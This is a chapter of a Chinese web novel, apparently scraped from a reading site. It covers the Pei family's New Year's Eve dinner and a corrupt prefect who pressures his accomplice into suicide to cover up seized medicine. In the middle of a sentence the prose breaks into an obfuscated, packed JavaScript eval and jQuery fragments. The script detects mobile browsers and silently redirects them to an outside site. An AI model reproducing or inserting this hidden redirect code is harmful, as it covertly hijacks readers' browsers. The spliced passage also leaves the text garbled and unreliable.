35. 第 35 章

作品:《男主小厮,但科举逆袭!

    “这,大哥……”


    裴夫人看了一眼裴清河:


    “还是老爷来说吧!”


    裴清河倒也没说是裴夫人一心惦记着疫病之事,让他去与刘知府上报此事,只简单说了他在赵家的见闻,这才叹了一口气:


    “那姓赵的去岁过年还穿着褪色的棉袍,那日我去见他时,他一身轻暖裘衣坐在湖心亭中,还焚着千金难求的婴香,只怕他早就与刘知府联手,不知刮了多少民脂民膏,肥了他赵家,祸害了不知多少人!


    那日我与他交谈不甚愉快,想是我冲动泼了他一盏茶水,这才招来此祸。”


    “呵,只赵家可成不了事儿,三弟你莫怕,只管照实了说!”


    裴长诗性子干脆利落,只让裴清河直言,裴清河犹豫了一下,还是裴夫人开口道:


    “也不怕大哥知道,那刘知府托词封药铺是假,图谋药材是真!云州的疫病已然蔓延至青州,但他官老爷高坐公堂,伤不着一根汗毛,至于其他百姓,便要用银钱来换命!只是若无官府出面,到时候人财两空,十室九空,又当如何?!


    倒也不必大哥头疼,此事我心中有已有章程,这些药材我们用不成,也不能看着他们用我们的药材,去赚那些人血银子!”


    十年前,那场大疫让年少的裴夫人怕了,畏了,更敬了那看不见,却可以随时带走一条性命的病。


    如今,才堪堪十年,这便又要重演吗?


    当时,尚且还是天灾,可这次却是人祸!


    裴夫人句句激昂,连裴长诗都不由得心头一震,随即抱拳:


    “弟妹这话那便是打我的脸了!咱们家的事儿,我岂能坐视不理?


    我此番归家修养,倒也带了一支亲卫,他们皆有官职在身,这青州城中,除非那刘知府亲自动手,否则无人能碰他们分毫。


    我这些亲卫不乏能人,定能让我裴家清清白白的过了年!”


    裴长诗的话给裴夫人吃了一颗定心丸,之后,三人又商议了一些细节,裴夫人一刻不停的便要开始准备晚上的团圆饭。


    裴夫人设年夜饭于正对戏楼的聆音楼中,她虽是头一年掌家,可也看老夫人坐了数年,今日虽然忙乱,可也并未出什么岔子。


    就连裴夫人指的周嬷嬷等人也没有掉半点儿链子,这桌年夜饭乃是正经八百的依着提前拟定的单子,如流水般端了上来。


    炮鳖烩鲤,佳酿珍馐,琳琅满目,连原本皱着眉的裴老夫人看到裴夫人安排的这么妥帖,都不由展颜颔首:


    “清河媳妇倒是个聪慧能巧的。”


    劳累了一天的裴夫人听了这话,不由舒心一笑:


    “都是母亲教的好,媳妇只学到您一点儿皮毛,便有了今日的光景,以后还请母亲多多指教媳妇。”


    裴夫人软了语气,将裴老夫人高高捧起,原本对裴夫人还有些不虞的裴老夫人脸上的褶子都一下子展开了,笑意满满:


    “瞧瞧!这油嘴滑舌的模样,和清河是一模一样,果然是不是一家人,不进一家门!”


    一旁的裴二夫人头戴一顶红珊瑚嵌彩宝头冠,颈佩白珍珠红玛瑙如意金锁软璎珞,裹着那赤红金团窠纹大翻领披袄还来不及褪去,便不由掩唇一笑:


    “人说打是亲骂是爱,今个母亲可不能只亲大嫂一人!”


    “你这顽猴,连挨损都要上赶着,这世上可还有你不要的东西?”


    “母亲给的,我都要!”


    裴老夫人在上首发出一阵愉悦的笑声,裴夫人原本悬着的心也渐渐落下来,和裴清河对视一眼,知道自己这一关算是过了。


    上头裴二夫人争宠,裴夫人和裴清河含情脉脉,叶景和只来得及瞧上一眼,便被下人们端上来的那盘饺子吸引了目光。


    那饺子还是青州的包法,小巧玲珑,整整齐齐码在青花瓷盘中,白嫩嫩的饺子透着淡淡的肉粉和葱花的碧绿,叶景和迫不及待的便将一个饺子送取口中,面皮轻薄,用牙齿一嗑就直接打开了,里头鲜美的汁水混着喷香的肉馅儿好吃的仿佛舌头都要化了。


    但叶景和吃了一个后,便捏着筷子,走了神。肉是好肉,面是好面,就连味道也是极为馥郁厚重,余韵回香的顶级,可叶景和想念的还是那口只放了盐和大葱后的至纯至味。


    “长风!快来放爆竹啦!”


    “长风!快点走啊!”


    “快来敲鼓啊!赶走邪祟!新的一年,顺顺利利!”


    穿着红衣的小童发出一阵清脆如银铃般的笑声,不等叶景和过去,那边已经热热闹闹的敲鼓敲锣起来!


    “轰——砰!”


    红色的爆竹发出一阵震耳欲聋的声音,叶景和囫囵塞了几个饺子入口,也叫了一声:


    “来啦!”


    灰衣小童像游鱼一样落入红色的汪洋之中,那样醒目,又那样融洽!


    他们欢笑!他们开怀!他们热烈庆祝新年伊始!


    上头的大人们只是含笑看着,裴清河在桌下轻轻握住裴夫人的手:


    “夫人,家里倒是许久不曾这般热闹了,只有渡儿还是太冷清了。”


    裴夫人看了裴清河一眼,小声嘟囔:


    “那也不是我一个人能努力出来的……”


    爆竹声中一岁除,等到了守岁的时候,两个小的疯的太过,已经小鸡啄米似的打起瞌睡。


    裴渡还好,直接便靠进了裴夫人的怀里,像一只贪睡的小猫,而叶景和整个人已经乏的不知天地为何物了,还要端端正正的坐在原地。等叶景和迷迷糊糊往地上栽的时候,裴清河一把捞起了他,朦胧中,叶景和看到了另一边趴在肩头的裴渡后,这才放心的找周公赴约。


    裴夫人看着裴清河肩上的两个小童,不由一笑:


    “长风早慧,渡儿多思,也就是这时候,他们才真的像个孩子。”


    裴清河赞同点头,颠了颠两人,托得更实了些后,这才看向裴夫人:


    “夫人莫要着急安置,且等为夫送了这两个小的回来。”


    裴夫人顿时芙颊一红:


    “老爷,都过三更天了!”


    “离天亮还早呢!”


    ……


    翌日,叶景和刚一醒来,就发现自己旁边躺着裴渡,他吓地差点儿从床上跳起来,他,他他,他怎么就睡在少爷床上了?!


    谁要害他?!


    “长风醒了?”


    “霜华姐姐,我怎么在这儿?是谁把我放在这儿的?”


    叶景和有些懊恼,小孩儿的身体总是睡觉太沉,这样就算他睡着了别人把他卖了他都不知道。


    霜华弯唇一笑:


    “你别慌,是老爷把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124405|194943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你放这儿的。”


    “什么?”


    叶景和不由错愕,所以,他睡梦中迷迷糊糊感知到,如父亲般宽厚的肩膀是真实存在的吗?


    *


    知府府衙,刘知府外放为官,留发妻在老家伺候爹娘,只带了美妾两人,是以昨夜的年夜饭很是荒诞。


    酒酣耳热之际,他又接受了赵家主献上的一对姐妹花,这会儿左拥右抱,温香软玉间,简直舍不得起身。


    随着一声长长的吐息,刘知府粗糙的手指捏了一把美人玉润光滑的肩膀,这才被扶着坐了起来。


    等一顿早膳结束,赵家主这才掐算好时辰似的登门拜访,刘知府身心愉悦,立刻让人将赵家主请到了小书房。


    “今个可是大年初一,曜先何必这般匆匆上门拜年?”


    刘知府笑呵呵的说着,可是看着赵家主的眼神却满是探究,赵家主顿时急声道:


    “大人可知那裴家的裴长诗昨个便归家了?他如今可是四品云麾将军!”


    “那又如何?他一个边关的武将还想着把手伸到我青州的地界不成?到时候不必你多言,圣上自会裁决了他!”


    “不!不是!是他的亲兵这会儿正到处调查您查封裴家药铺时的各种案由,这要是被他查到……”


    “查到那边查到了,这些可都是曜先你报与本官的,该清理的尾巴你可清理干净了?”


    刘知府这话一出,赵家主顿时惊怒交加:


    “什么?大人!我们之前可不是这么说的啊!”


    “哦?那查封裴家药铺的文书上,可有你举报时的签字画押?”


    “有,但是大人,那是您和我说好……”


    “说好什么?可有证人证词,亦或是签字画押?曜先,这些日子,你可是享了旁人没有享过的富贵,你得知足。”


    刘知府笑眯眯的说着,五根粗短的手指装模作样的抚了抚须:


    “你只管放心的去,你的家人我会好好照看,你儿子我会力荐他进去容山书院。


    你放心,待明日,裴家心狠手辣,逼死举报者的消息传遍整个青州,那裴长诗纵使有三头六臂,也查不出半点儿眉目。”


    刘知府的语气十分和缓,明明是逼人去死的话却让他说的仿佛闲言两句。


    赵家主的脸色瞬间变得煞白,他双眼通红的看着刘知府,他没想到,自己着急忙慌的报信,竟然起自己的一道催命符!


    刘知府却没有看他,只是逗弄着案头一只羽毛黑亮的鹩哥,仿佛赵家主的死活在他眼里还不如那鹩哥扑闪几下翅膀。


    “去吧。”


    轻飘飘一句话,已决赵家主生死!


    赵家主前脚刚一离开,便有衙役送上一封没有署名的信件:


    “大人,驿卒说,这是一小童投给您的信。”


    刘知府本不想去看,但想了想,开始打开看了一眼,随后一脸轻蔑道:


    “尽是些荒唐之言!柴火何等价值,岂是人人都用得起的?想来也不过是些酸儒哗众取众的手段!”


    衙役顿了顿,又道:


    “那驿卒说,这信不止您这儿有,还有张知府那里也有一份!”


    “什么?”


    刘知府眯了眯眼:


    “去查,那小童是什么人,受谁的指使,意欲何为!”